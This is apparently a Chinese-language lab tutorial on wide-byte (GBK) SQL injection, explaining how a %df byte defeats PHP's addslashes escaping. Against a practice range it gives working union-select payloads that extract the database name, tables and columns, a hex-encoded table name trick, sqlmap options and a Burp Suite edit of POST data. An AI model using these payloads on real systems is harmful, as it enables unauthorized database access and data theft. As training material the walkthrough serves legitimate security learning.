在了解宽字节之前,我们可以先来了解一下PHP的魔术引号
魔术引号(其实就是PHP的防御函数):
magic_quotes_gpc(魔术引号开关)这个在PHP的高版本(5.4.45及以上)里面取消掉了,转化为了一种函数(addslashes()函数)
作用:当PHP的传参中有特殊字符就会再前面加转义字符'\',来做一定的过滤 单引号和双引号内的一切都是字符串,那我们输入的东西如果不能闭合掉单引号和双引号,我们的输入就不会当作代码执行,就无法产生SQL注入,那我们该怎么办?
绕过方法:
1、寻找不需要闭合的地方
2、仔细查看作用域(影响范围)
3、宽字节注入
在讲宽字节之前,我们需要先了解一下编码,每个国家的语言和文字都不同,但是对于计算机来说,到了最后都是二进制,所以在计算机的世界里,汉字最后也是由数字组成的,每个国家都有自己的一套编码,因为万国码不一定会有自己国家的一些字,像我们国家就是GBK编码,而编码不同会造成歧义,GBK编码是多字符编码(多个字符组在一起成为一个字),使用了双字节编码的方案,所以GBK编码一个汉子占用两字节,而UTF-8编码占用三个字节,(asci编码上面能查到的都是单字节)
两个单字节在一起,就有可能变为一个双字节,我们输入的单引号被转义了,原本的语句是:select *from news where id='1\'',而当数据库使用的是GBK编码时,我们输入某一个字符,语句就变为了select *from news where id='1?\'',问号和反斜杠组合在一起,可能变为了某个汉字,这样我们的单引号就逃逸了出来,这就是宽字节注入的核心(URL编码的核心是16进制)
数据库使用了GBK编码,就可能存在宽字节注入
那么如何判断数据库使没使用GBK编码呢?试试不就知道了吗
接下来就是进入靶场了
我们怎么样才能知道哪些字符可以和反斜杠组合在一起成为汉字呢,我们可以在百度上面查一波
进入百度,我们在URL栏处将编码改为GBK,然后在1的这个输入%df%5c(反斜杠url编码之后就是%5c),只要能出现汉字的就行了,像%dd、%95这些都能和反斜杠组合在一起成为汉字
进入靶场,在url传参,输入%df' and 1=1 -- qwe,页面有数据,输入%df' and 1=2 -- qwe,页面出错,初步判断出这里存在SQL注入
接下来就是判断字段数了,%df' order by 1、2、3 -- qwe,判断出有三个字段数,然后查看回显点,%df' union select 1,2,3 -- qwe,判断出2、3是回显点,接下来就是老流程了,拿库名,然后表名,然后字段名,可以按照我们之前学的来搞就好了
库名:%df' union select 1,2,database() -- qwe
表名:%df' union select 1,2,table_name from information_schema.tables where table_schema=database() -- qwe
查询字段的时候,我们之前写的语句是这样的:union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name='表名',这里我们会用到单引号,而我们只要写单引号,就会被转义,我们如何绕过呢?
第一种方法就是套娃法,如下:
字段名:%df' union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database()) -- qwe
第二种方法,十六进制法
mysql数据库支持十六进制输入,我们在www.sojson.com这个网站将我们得到的表名user转换为十六进制,然后再输入,当然,你只输入数字,数据库是无法识别它到底是十六进制还是只是数字的,所以我们需要给他一个表示,就是0x,在URL栏输入%df' union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=0x75736572 -- q,SQLmap跑宽字节的话,需要我们手动给他闭合(当然也不要忘记给他加等级),sqlmap.py --level 3 --risk 2 -u 网址%df,
GET传参的我们可以直接传一个%df,而POST传参的,我们传%df是没有用的,POST传参是不会URL编码的,那我们怎么办呢
我们可以利用burp抓包来改他的十六进制的值,我们在输入框中输入admin a' or 1=1 -- qwe,然后抓包,点击hex,在右侧找到我们输入的那个a,a在十六进制里面是61,将61改为df就行了
当然,我们也可以直接传参汉字,前提是数据库是UTF-8编码,
输入 风' union select 1,2,3 -- q,这个靶场是没有回显点的,所以我们还需要结合盲注学到的知识去做,当然,可以直接上SQLmap,burp抓包,将数据包复制下来,放到和SQLmap同目录下,然后跑就行了